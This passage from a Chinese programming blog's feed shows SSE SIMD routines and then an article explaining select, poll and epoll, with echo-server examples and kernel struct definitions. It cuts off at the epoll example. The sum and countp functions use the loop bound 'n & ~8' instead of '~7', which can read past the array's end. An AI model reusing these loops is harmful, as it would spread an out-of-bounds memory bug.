    for (; i &amp;lt; (n &amp;amp; ~3); i += 4) {
        __m128 xi = _mm_loadu_ps(&amp;amp;x[i]);
        __m128 yi = _mm_loadu_ps(&amp;amp;y[i]);
        _mm_storeu_ps(&amp;amp;y[i], _mm_add_ps(_mm_mul_ps(A, xi), yi));
    }
    for (; i &amp;lt; n; ++i) {
        y[i] = a * x[i] + y[i];
    }
}
// __m128 建议要 &amp;lt;=8个(CPU可用矢量寄存器的数量) x86 SSE架构提供了8个128位的XMM寄存器，对“溢出”的变量会被存储到(栈)内存上
[[gnu::optimize(&quot;O2&quot;)]] void saxpy3(int n, float a, const float* __restrict x, float* __restrict y) {
    const __m128 A = _mm_set1_ps(a); // 广播
    int i = 0;
    for (; i &amp;lt; (n &amp;amp; ~7); i += 8) {
        __m128 xi1 = _mm_loadu_ps(&amp;amp;x[i]);
        __m128 xi2 = _mm_loadu_ps(&amp;amp;x[i + 4]);
        __m128 yi1 = _mm_loadu_ps(&amp;amp;y[i]);
        __m128 yi2 = _mm_loadu_ps(&amp;amp;y[i + 4]);
        _mm_storeu_ps(&amp;amp;y[i], _mm_add_ps(_mm_mul_ps(A, xi1), yi1));
        _mm_storeu_ps(&amp;amp;y[i + 4], _mm_add_ps(_mm_mul_ps(A, xi2), yi2));
    }
    for (; i &amp;lt; n; ++i) {
        y[i] = a * x[i] + y[i];
    }
}

// --- sum ---
float sum(int n, const float* x) {
    __m128 ret1 = _mm_setzero_ps();
    __m128 ret2 = _mm_setzero_ps();
    int i = 0;
    for (; i &amp;lt; (n &amp;amp; ~8); i += 8) {
        ret1 = _mm_add_ps(ret1, _mm_loadu_ps(x + i));
        ret2 = _mm_add_ps(ret2, _mm_loadu_ps(x + i + 4));
    }
    ret1 = _mm_add_ps(ret1, ret2);
    ret1 = _mm_add_ps(ret1, _mm_shuffle_ps(ret1, ret1, _MM_SHUFFLE(2, 3, 0, 1)));
    ret1 = _mm_add_ps(ret1, _mm_shuffle_ps(ret1, ret1, _MM_SHUFFLE(1, 0, 3, 2)));
    float ret = _mm_cvtss_f32(ret1);
    for (; i &amp;lt; n; ++i) {
        ret += x[i];
    }
    return ret;
}

// --- 数组中大于p的个数 ---
int countp(int n, const float* x, float y) {
    const __m128 pred = _mm_set1_ps(y);
    int ret = 0;
    int i = 0;
    for (; i &amp;lt; (n &amp;amp; ~8); i += 8) {
        __m128 xi1 = _mm_loadu_ps(x + i);
        __m128 mask1 = _mm_cmpgt_ps(xi1, pred);
        __m128 xi2 = _mm_loadu_ps(x + i + 4);
        __m128 mask2 = _mm_cmpgt_ps(xi2, pred);
        ret += _mm_popcnt_u32(_mm_movemask_ps(mask1)) + _mm_popcnt_u32(_mm_movemask_ps(mask2));
    }
    for (; i &amp;lt; n; ++i) {
        __m128 xi = _mm_load_ss(x + i);
        __m128 mask = _mm_cmpgt_ss(xi, pred);
        int m = _mm_extract_ps(mask, 0);
        ret += !!m;
    }
    return ret;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>epoll</title><link>https://blog.alinche.dpdns.org/posts/os/io/epoll/</link><guid isPermaLink="true">https://blog.alinche.dpdns.org/posts/os/io/epoll/</guid><description>现代网络编程基石：深入解析 I/O 多路复用及 select、poll、epoll</description><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;&lt;strong&gt;现代网络编程基石：深入解析 I/O 多路复用及 select、poll、epoll&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;在高性能网络编程领域，如何高效地处理成千上万的并发连接是一个核心挑战。传统的阻塞 I/O 模型（Blocking I/O）一个线程只能处理一个连接，当连接数增多时，为每个连接创建一个线程或进程会消耗大量的系统资源，导致上下文切换开销巨大，严重影响服务器性能。为了解决这个问题，I/O 多路复用（&lt;code&gt;I/O Multiplexing&lt;/code&gt;）技术应运而生，它成为了构建高并发网络服务的基石。&lt;/p&gt;
&lt;p&gt;本文将深入探讨 I/O 多路复用的核心思想，并详细解析三种主流的实现方式：&lt;code&gt;select&lt;/code&gt;、&lt;code&gt;poll&lt;/code&gt; 和 &lt;code&gt;epoll&lt;/code&gt;，并结合代码示例，帮助你理解它们的工作原理、优缺点以及适用场景。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;一、 什么是 I/O 多路复用？&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;I/O 多路复用的核心思想是：&lt;strong&gt;用一个或少数几个线程来监视多个文件描述符(File Descriptor, FD)&lt;/strong&gt;，一旦某个或某些文件描述符就绪（例如，有数据可读或可写），就通知应用程序进行相应的 I/O 操作。&lt;/p&gt;
&lt;p&gt;这种模型的优势在于，单个线程可以同时管理大量的连接，线程并不需要阻塞在某个具体的 I/O 操作上，而是在一个集中的点（如 &lt;code&gt;select&lt;/code&gt;、&lt;code&gt;poll&lt;/code&gt;、&lt;code&gt;epoll_wait&lt;/code&gt;）上等待，直到有事件发生。这样极大地减少了系统开销，提高了服务器的并发处理能力。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;二、 经典模型：&lt;code&gt;select&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;select&lt;/code&gt; 是最早出现的 I/O 多路复用模型，也是最经典的一种。它的基本工作模式是，程序员需要维护一个文件描述符集合，然后调用 &lt;code&gt;select&lt;/code&gt; 函数来监听这个集合中所有 FD 的状态。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作流程解读:&lt;/strong&gt;
&lt;code&gt;select&lt;/code&gt; 代码示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;sys/select.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define MAXBUF      1024
#define MAX_CLIENTS 5

int main() {
    int sockfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addrlen;
    char buffer[MAXBUF];
    int fds[MAX_CLIENTS], max_fd;
    memset(&amp;amp;fds, -1, sizeof(fds)); // -1表示该位置未使用
    // 创建TCP套接字
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd &amp;lt; 0) {
        perror(&quot;socket创建失败&quot;);
        exit(1);
    }
    // 设置套接字选项，避免地址占用错误
    int opt = 1;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;opt, sizeof(opt)) &amp;lt; 0) {
        perror(&quot;setsockopt失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    // 设置服务器地址
    memset(&amp;amp;server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(8000);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    // 绑定套接字到地址并监听
    if (bind(sockfd, (struct sockaddr*)&amp;amp;server_addr, sizeof(server_addr)) &amp;lt; 0) {
        perror(&quot;绑定失败&quot;);
        close(sockfd);
        exit(1);
    }
    if (listen(sockfd, 5) &amp;lt; 0) {
        perror(&quot;监听失败&quot;);
        close(sockfd);
        exit(1);
    }
    printf(&quot;基于select的服务器启动，监听端口8000...\n&quot;);

    // 初始化客户端文件描述符数组
    max_fd = sockfd;
    int i;
    fd_set rset; // 关键数据 bitmap
    while (true) {
        FD_ZERO(&amp;amp;rset);        // 每次select都需要手动清空rset
        FD_SET(sockfd, &amp;amp;rset); // 监听服务器套接字
        // 将所有的客户端套接字加入监听集合rset
        for (i = 0; i &amp;lt; MAX_CLIENTS; ++i) {
            if (fds[i] &amp;gt; 0) {
                FD_SET(fds[i], &amp;amp;rset);
                if (fds[i] &amp;gt; max_fd) {
                    max_fd = fds[i];
                }
            }
        }
        printf(&quot;📡等待客户端连接或数据...\n&quot;);
        // 使用select监听多个文件描述符，我们只关心从 0 到 max_fd 这个范围内的所有文件描述符
        int ready = select(max_fd + 1, &amp;amp;rset, NULL, NULL, NULL);
        if (ready &amp;lt; 0) {
            perror(&quot;select错误&quot;);
            continue;
        }
        // 检查是否有新的客户端连接
        if (FD_ISSET(sockfd, &amp;amp;rset)) {
            memset(&amp;amp;client_addr, 0, sizeof(client_addr));
            addrlen = sizeof(client_addr);
            int new_client = accept(sockfd, (struct sockaddr*)&amp;amp;client_addr, &amp;amp;addrlen); // 返回套接字文件描述符
            if (new_client &amp;gt;= 0) {
                printf(&quot;✅新客户端连接, fd: %d\n&quot;, new_client);
                // 将新客户端加入到空闲位置
                bool added = false;
                for (i = 0; i &amp;lt; MAX_CLIENTS; ++i) {
                    if (fds[i] &amp;lt; 0) {
                        fds[i] = new_client;
                        added = true;
                        break;
                    }
                }
                if (!added) {
                    printf(&quot;❌客户端数量已达上限，拒绝连接\n&quot;);
                    close(new_client);
                }
            }
        }
        // 检查客户端是否有数据可读
        for (i = 0; i &amp;lt; MAX_CLIENTS; ++i) {
            if (fds[i] &amp;gt; 0 &amp;amp;&amp;amp; FD_ISSET(fds[i], &amp;amp;rset)) {
                memset(buffer, 0, MAXBUF);
                ssize_t bytes_read = read(fds[i], buffer, MAXBUF - 1);
                if (bytes_read &amp;gt; 0) {
                    printf(&quot;📨从客户端%d接收: %s&quot;, fds[i], buffer);
                    // 回声功能：将数据发回客户端
                    write(fds[i], buffer, bytes_read);
                } else {
                    // 客户端断开连接
                    printf(&quot;🔌客户端%d断开连接\n&quot;, fds[i]);
                    close(fds[i]);
                    // 若关闭的是最大的fd，则重新计算max_fd，减少监听性能开销
                    if (fds[i] == max_fd) {
                        int new_max = sockfd;
                        for (int fd : fds)
                            if (fd &amp;gt; new_max)
                                new_max = fd;
                        max_fd = new_max;
                    }
                    fds[i] = -1; // 标记为可用
                }
            }
        }
    }
    close(sockfd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; curl localhost:8000 # 当然你也可以直接浏览器访问

基于select的服务器启动，监听端口8000...
📡等待客户端连接或数据...
✅新客户端连接, fd: 4
📡等待客户端连接或数据...
📨从客户端4接收: GET / HTTP/1.1
Host: localhost:8000
User-Agent: curl/7.81.0
Accept: */*

📡等待客户端连接或数据...
🔌客户端4断开连接
📡等待客户端连接或数据...

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;创建和初始化：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;首先，程序通过 &lt;code&gt;socket&lt;/code&gt;、&lt;code&gt;bind&lt;/code&gt;、&lt;code&gt;listen&lt;/code&gt; 创建一个监听套接字 &lt;code&gt;sockfd&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;然后通过循环 &lt;code&gt;accept&lt;/code&gt; 客户端连接，并将接受到的新连接的 FD 存储在一个 &lt;code&gt;fds&lt;/code&gt; 数组中。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心循环与监听：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;在一个 &lt;code&gt;while(true)&lt;/code&gt; 循环中，首先使用 &lt;code&gt;FD_ZERO(&amp;amp;rset)&lt;/code&gt; 清空一个名为 &lt;code&gt;rset&lt;/code&gt; 的文件描述符集合。&lt;/li&gt;
&lt;li&gt;接着，通过 &lt;code&gt;for&lt;/code&gt; 循环和 &lt;code&gt;FD_SET(fds[i], &amp;amp;rset)&lt;/code&gt; 将所有需要监听的 FD 添加到 &lt;code&gt;rset&lt;/code&gt; 集合中。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;select(max+1, &amp;amp;rset, NULL, NULL, NULL)&lt;/code&gt; 函数。这是 &lt;code&gt;select&lt;/code&gt; 模型的核心，该函数会&lt;strong&gt;阻塞&lt;/strong&gt;，直到 &lt;code&gt;rset&lt;/code&gt; 集合中至少有一个 FD 变为可读。&lt;code&gt;max+1&lt;/code&gt; 是所有被监听的 FD 的最大值+1。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理就绪事件：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;select&lt;/code&gt; 返回后（即有事件发生），程序再次通过一个 &lt;code&gt;for&lt;/code&gt; 循环和 &lt;code&gt;FD_ISSET(fds[i], &amp;amp;rset)&lt;/code&gt; 来&lt;strong&gt;遍历所有&lt;/strong&gt;的 FD，检查哪一个 FD 是真正就绪的。&lt;/li&gt;
&lt;li&gt;对于就绪的 FD，执行 &lt;code&gt;read&lt;/code&gt; 操作读取数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;select&lt;/code&gt; 的优缺点:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;跨平台性好&lt;/strong&gt;：几乎所有的主流操作系统都支持 &lt;code&gt;select&lt;/code&gt;，兼容性极佳。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最大连接数限制&lt;/strong&gt;：&lt;code&gt;select&lt;/code&gt; 使用一个位图（bitmap）来存储文件描述符，这个位图的大小通常由 &lt;code&gt;FD_SETSIZE&lt;/code&gt; 宏定义，在大多数系统上是 1024。这意味着单个进程默认最多只能监听 1024 个 FD。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;两次拷贝性能开销大&lt;/strong&gt;：每次调用 &lt;code&gt;select&lt;/code&gt; 之前，都需要将所有fd_set（本质是一个 bitmap）要监听的 FD 从用户空间&lt;strong&gt;拷贝&lt;/strong&gt;到内核空间。当连接数很多时，这个拷贝开销非常大。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;两次线性扫描&lt;/strong&gt;：进入内核态后，内核需要遍历传入的所有 FD，逐一检查它们的状态，如果某个 FD 就绪，内核就会在它拷贝过来的那份 fd_set 的对应位上进行置位操作。&lt;code&gt;select&lt;/code&gt; 返回后，只能知道有 FD 就绪了，但不知道是哪几个。因此，程序需要&lt;strong&gt;遍历&lt;/strong&gt;整个 FD 集合来找到就绪的 FD，这个时间复杂度是 O(n)，当连接数巨大而活跃连接数很少时，效率很低。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong&gt;三、 &lt;code&gt;select&lt;/code&gt; 的改进版：&lt;code&gt;poll&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;poll&lt;/code&gt; 的出现主要是为了解决 &lt;code&gt;select&lt;/code&gt; 的一些限制，特别是最大连接数的限制。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作流程解读:&lt;/strong&gt;
&lt;code&gt;poll&lt;/code&gt; 代码示例：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;arpa/inet.h&amp;gt;
#include &amp;lt;netinet/in.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define MAXBUF      1024
#define MAX_CLIENTS 5

int main() {
    int sockfd;
    struct sockaddr_in server_addr, client_addr;
    socklen_t client_len;
    char buffer[MAXBUF];
    // 创建pollfd结构体数组
    struct pollfd fds[MAX_CLIENTS + 1]; // +1 给服务器套接字
    int nfds = 1;                       // 当前监控的文件描述符数量（初始只有服务器）
    for (int i = 0; i &amp;lt;= MAX_CLIENTS; ++i) {
        fds[i].fd = -1;         // -1表示该位置未使用
        fds[i].events = POLLIN; // 监控可读事件
        fds[i].revents = 0;     // 返回的事件
    }
    // 创建TCP套接字
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd &amp;lt; 0) {
        perror(&quot;socket创建失败&quot;);
        exit(EXIT_FAILURE);
    }
    // 设置套接字选项，避免地址占用错误
    int opt = 1;
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &amp;amp;opt, sizeof(opt)) &amp;lt; 0) {
        perror(&quot;setsockopt失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    // 设置服务器地址
    memset(&amp;amp;server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(8000);
    // 绑定套接字到地址并监听
    if (bind(sockfd, (struct sockaddr*)&amp;amp;server_addr, sizeof(server_addr)) &amp;lt; 0) {
        perror(&quot;绑定失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    if (listen(sockfd, 5) &amp;lt; 0) {
        perror(&quot;监听失败&quot;);
        close(sockfd);
        exit(EXIT_FAILURE);
    }
    printf(&quot;基于poll的服务器启动，监听端口8000...\n&quot;);
    printf(&quot;📡等待客户端连接...\n&quot;);

    // 将服务器套接字添加到poll监控
    fds[0].fd = sockfd;
    fds[0].events = POLLIN;
    int i;
    while (true) {
        // 调用poll等待事件发生
        int ready = poll(fds, nfds, 10000); // 10s
        if (ready &amp;lt; 0) {
            perror(&quot;poll错误&quot;);
            break;
        } else if (ready == 0) {
            printf(&quot;poll等待超时，继续监听...\n&quot;);
            continue;
        }
        // 检查所有被监控的文件描述符
        int cur_nfds = nfds;
        for (i = 0; i &amp;lt; cur_nfds; ++i) {
            if (fds[i].fd == -1)
                continue;
            // 检查是否有事件发生
            if (fds[i].revents &amp;amp; POLLIN) {
                if (fds[i].fd == sockfd) {
                    client_len = sizeof(client_addr);
                    int new_client = accept(sockfd, (struct sockaddr*)&amp;amp;client_addr, &amp;amp;client_len);
                    if (new_client &amp;lt; 0) {
                        perror(&quot;接受连接失败&quot;);
                    } else if (nfds &amp;lt;= MAX_CLIENTS) {
                        // 将新客户端添加到poll监控
                        fds[nfds].fd = new_client;
                        fds[nfds].events = POLLIN;
                        fds[nfds].revents = 0;
                        char client_ip[INET_ADDRSTRLEN];
                        inet_ntop(AF_INET, &amp;amp;client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);
                        printf(&quot;✅新客户端连接: fd=%d, IP=%s:%d\n&quot;, new_client, client_ip, ntohs(client_addr.sin_port));
                        printf(&quot;当前连接数: %d/%d\n&quot;, nfds, MAX_CLIENTS);
                        ++nfds;
                    } else {
                        printf(&quot;客户端数量已达上限，拒绝连接\n&quot;);
                        close(new_client);
                    }
                } else {
                    // 客户端套接字有数据可读
                    int client_fd = fds[i].fd;
                    memset(buffer, 0, MAXBUF);
                    ssize_t bytes_read = read(client_fd, buffer, MAXBUF - 1);
                    if (bytes_read &amp;gt; 0) {
                        buffer[strcspn(buffer, &quot;\r\n&quot;)] = 0;
                        printf(&quot;📨从客户端%d接收: %s\n&quot;, client_fd, buffer);
                        // 回声功能
                        if (write(client_fd, buffer, bytes_read) &amp;lt; 0) {
                            perror(&quot;发送数据失败&quot;);
                        }
                    } else {
                        // 客户端断开连接或错误
                        if (bytes_read == 0) {
                            printf(&quot;🔌客户端%d断开连接\n&quot;, client_fd);
                        } else {
                            perror(&quot;读取数据错误&quot;);
                        }
                        close(client_fd);
                        fds[i].fd = -1;
                        // （将后面的元素前移）
                        for (int j = i; j &amp;lt; nfds - 1; ++j) {
                            fds[j] = fds[j + 1];
                        }
                        --nfds;
                        fds[nfds].fd = -1;
                        --i; // 重新检查当前位置
                    }
                }
            }
            // 检查其他事件（如错误）
            if (fds[i].fd != -1 &amp;amp;&amp;amp; (fds[i].revents &amp;amp; (POLLERR | POLLHUP))) {
                printf(&quot;❌客户端%d发生错误或挂断\n&quot;, fds[i].fd);
                close(fds[i].fd);
                fds[i].fd = -1;
            }
        }
    }
    // 清理资源
    for (int i = 0; i &amp;lt; nfds; ++i) {
        if (fds[i].fd != -1)
            close(fds[i].fd);
    }
    close(sockfd);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;数据结构变化：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;poll&lt;/code&gt; 不再使用位图，而是定义了一个 &lt;code&gt;struct pollfd&lt;/code&gt; 数组。这个结构体包含了 &lt;code&gt;fd&lt;/code&gt;（文件描述符）、&lt;code&gt;events&lt;/code&gt;（要监听的事件，如 &lt;code&gt;POLLIN&lt;/code&gt; 表示可读）和 &lt;code&gt;revents&lt;/code&gt;（实际发生的事件）。&lt;/li&gt;
&lt;li&gt;由于使用了数组而非位图，&lt;code&gt;poll&lt;/code&gt; &lt;strong&gt;没有了 1024 的连接数限制&lt;/strong&gt;，其最大连接数受限于系统的内存大小。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心循环与监听：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;accept&lt;/code&gt; 连接后，将新的 FD 和关心的事件 &lt;code&gt;POLLIN&lt;/code&gt; 填入 &lt;code&gt;pollfds&lt;/code&gt; 数组。&lt;/li&gt;
&lt;li&gt;调用 &lt;code&gt;poll(pollfds, 5, 50000)&lt;/code&gt; 函数进行阻塞监听。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;处理就绪事件：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;当 &lt;code&gt;poll&lt;/code&gt; 返回后，同样需要&lt;strong&gt;遍历&lt;/strong&gt;整个 &lt;code&gt;pollfds&lt;/code&gt; 数组。&lt;/li&gt;
&lt;li&gt;通过检查 &lt;code&gt;pollfds[i].revents &amp;amp; POLLIN&lt;/code&gt; 来判断对应的 FD 是否就绪。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;poll&lt;/code&gt; 的优缺点:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;优点:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;解决了最大连接数限制&lt;/strong&gt;：它突破了 &lt;code&gt;select&lt;/code&gt; 的 1024 限制。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;缺点:&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能开销问题依然存在&lt;/strong&gt;：和 &lt;code&gt;select&lt;/code&gt; 一样，每次调用 &lt;code&gt;poll&lt;/code&gt; 仍然需要将整个 &lt;code&gt;pollfds&lt;/code&gt; 数组从用户空间&lt;strong&gt;拷贝&lt;/strong&gt;到内核空间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;线性扫描问题依然存在&lt;/strong&gt;：&lt;code&gt;poll&lt;/code&gt; 返回后，依然需要&lt;strong&gt;遍历&lt;/strong&gt;整个数组来找到就绪的 FD，时间复杂度仍为 O(n)。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;总的来说，&lt;code&gt;poll&lt;/code&gt; 只是对 &lt;code&gt;select&lt;/code&gt; 的一个简单改进，并没有从根本上解决性能开销和线性扫描的问题。&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;四、 高性能的终极选择：&lt;code&gt;epoll&lt;/code&gt;&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;epoll&lt;/code&gt; 是 Linux 内核为了解决 &lt;code&gt;select&lt;/code&gt; 和 &lt;code&gt;poll&lt;/code&gt; 的性能瓶颈而提出的一套全新的 I/O 多路复用机制，是目前公认的 Linux 平台下性能最好的方案。Redis、Nginx 等著名的高性能中间件都广泛采用了 &lt;code&gt;epoll&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;epoll&lt;/code&gt; 的核心改进:&lt;/strong&gt;
&lt;code&gt;epoll&lt;/code&gt; 的设计哲学与 &lt;code&gt;select&lt;/code&gt;/&lt;code&gt;poll&lt;/code&gt; 完全不同。它将监听的 FD 集合的管理和事件的等待分离开来。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;epoll_create()&lt;/code&gt;&lt;/strong&gt;: 创建一个 &lt;code&gt;epoll&lt;/code&gt; 实例。在内核中，这会创建一个 &lt;code&gt;eventpoll&lt;/code&gt; 对象，该对象内部包含两个关键数据结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;红黑树(Red-Black Tree)&lt;/strong&gt;: 用于高效地存储和管理所有被监听的文件描述符。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;就绪列表(Ready List)&lt;/strong&gt;: 用于存放已经就绪（有事件发生）的文件描述符。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;epoll_ctl()&lt;/code&gt;&lt;/strong&gt;: 对 &lt;code&gt;epoll&lt;/code&gt; 实例进行管理，可以&lt;strong&gt;添加&lt;/strong&gt;（&lt;code&gt;EPOLL_CTL_ADD&lt;/code&gt;）、&lt;strong&gt;修改&lt;/strong&gt;（&lt;code&gt;EPOLL_CTL_MOD&lt;/code&gt;）或&lt;strong&gt;删除&lt;/strong&gt;（&lt;code&gt;EPOLL_CTL_DEL&lt;/code&gt;）被监听的 FD。当添加一个新的 FD 时，内核会创建一个 &lt;code&gt;epitem&lt;/code&gt; 结构体来代表这个监控项，并将需要这个epitem插入到红黑树rbr中进行管理。这个FD信息只需要在此时从用户态拷贝到内核&lt;strong&gt;一次&lt;/strong&gt;，之后除非被删除，否则会一直存在于内核的红黑树中，无需反复拷贝。同时，它会向这个FD对应的内核文件结构一个​&lt;strong&gt;​回调函数&lt;/strong&gt;（通常是&lt;code&gt;ep_poll_callback&lt;/code&gt;），注册在内核中与该 socket 事件相关的等待队列 (wait queue) 上，事件就绪时，内核通过这个回调函数来采取行动。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;epoll_wait()&lt;/code&gt;&lt;/strong&gt;: 阻塞等待就绪列表中的事件。（当一个 FD 接收到数据而就绪时，内核会执行预先注册好的回调函数 &lt;code&gt;ep_poll_callback&lt;/code&gt;，这个函数会将对应的 epitem 添加到 eventpoll 对象的就绪列表 rdllist 中。）与 &lt;code&gt;select&lt;/code&gt;/&lt;code&gt;poll&lt;/code&gt; 不同，&lt;code&gt;epoll_wait()&lt;/code&gt; 只需检查就绪列表是否为空，若不为空，则将就绪列表中的 &lt;code&gt;epitem&lt;/code&gt; 所携带的事件信息&lt;strong&gt;从内核空间拷贝到用户空间&lt;/strong&gt;，然后返回就绪事件的数量，而不需要去遍历整个集合，从而实现了 &lt;code&gt;O(1)&lt;/code&gt; 的时间复杂度（严格来说是 O(k)，k为就绪FD数量）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;底层结构体&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// epoll_create() 内核会在内存中创建了一个 eventpoll 结构体实例
struct eventpoll {
	struct mutex mtx;
	wait_queue_head_t wq;        // 等待队列​​：让调用epoll_wait()的进程在此排队休眠。
	wait_queue_head_t poll_wait; // poll等待队列​​：当eventpoll文件描述符本身被监控时（例如被另一个epoll监控）使用的等待队列
	struct list_head rdllist;    // “就绪队列”（双向链表）：epoll_wait()只需检查这个链表是否为空，即可知道有多少事件就绪并拷贝到用户空间，复杂度为O(1)
	rwlock_t lock;               // 主要用于保护就绪链表rdllist
	struct rb_root_cached rbr;   // 红黑树的根节点：存储所有通过epoll_ctl()注册的待监控事件
	struct epitem *ovflist;      // 临时中转清单​​：在将事件从内核向用户空间传输时，作为一个临时链表使用，以避免在持有mtx锁的情况下操作rdllist，从而优化性能
	struct file *file;           // 关联文件​​：指向内核中代表这个epoll实例的文件对象。
};

struct epitem {
	union {
		struct rb_node rbn;       // 红黑树节点
		struct rcu_head rcu;
	};
	struct list_head rdllink;     // 就绪链表节点
	struct epitem *next;
	struct epoll_filefd ffd;      // 存储了该 epitem对应的文件描述符信息，是红黑树中查找和比较的关键依据。
	struct eppoll_entry *pwqlist; // 指向一个列表，该列表维护了与这个 fd 相关的等待队列条目。这是实现 epoll ​​回调机制​​的关键，确保事件发生时能准确通知到对应的 epoll 实例
	struct eventpoll *ep;         // 指向该 epitem所属的 eventpoll实例
	struct hlist_node fllink;     // 反向链接​​：用于将本 epitem链接到被监视的 struct file对象中的一个列表。这样，当文件被关闭时，内核可以遍历此列表，清理所有相关的 epoll 监视项
	struct epoll_event event;     // 监视清单​​：保存了用户通过 epoll_ctl注册的感兴趣事件
};

struct epoll_event {
	__poll_t events;
	__u64 data;
} EPOLL_PACKED;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;工作流程解读:&lt;/strong&gt;
&lt;code&gt;epoll&lt;/code&gt; 示例代码：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;cstdio&amp;gt;
#include &amp;lt;cstdlib&amp;gt;
#include &amp;lt;cstring&amp;gt;
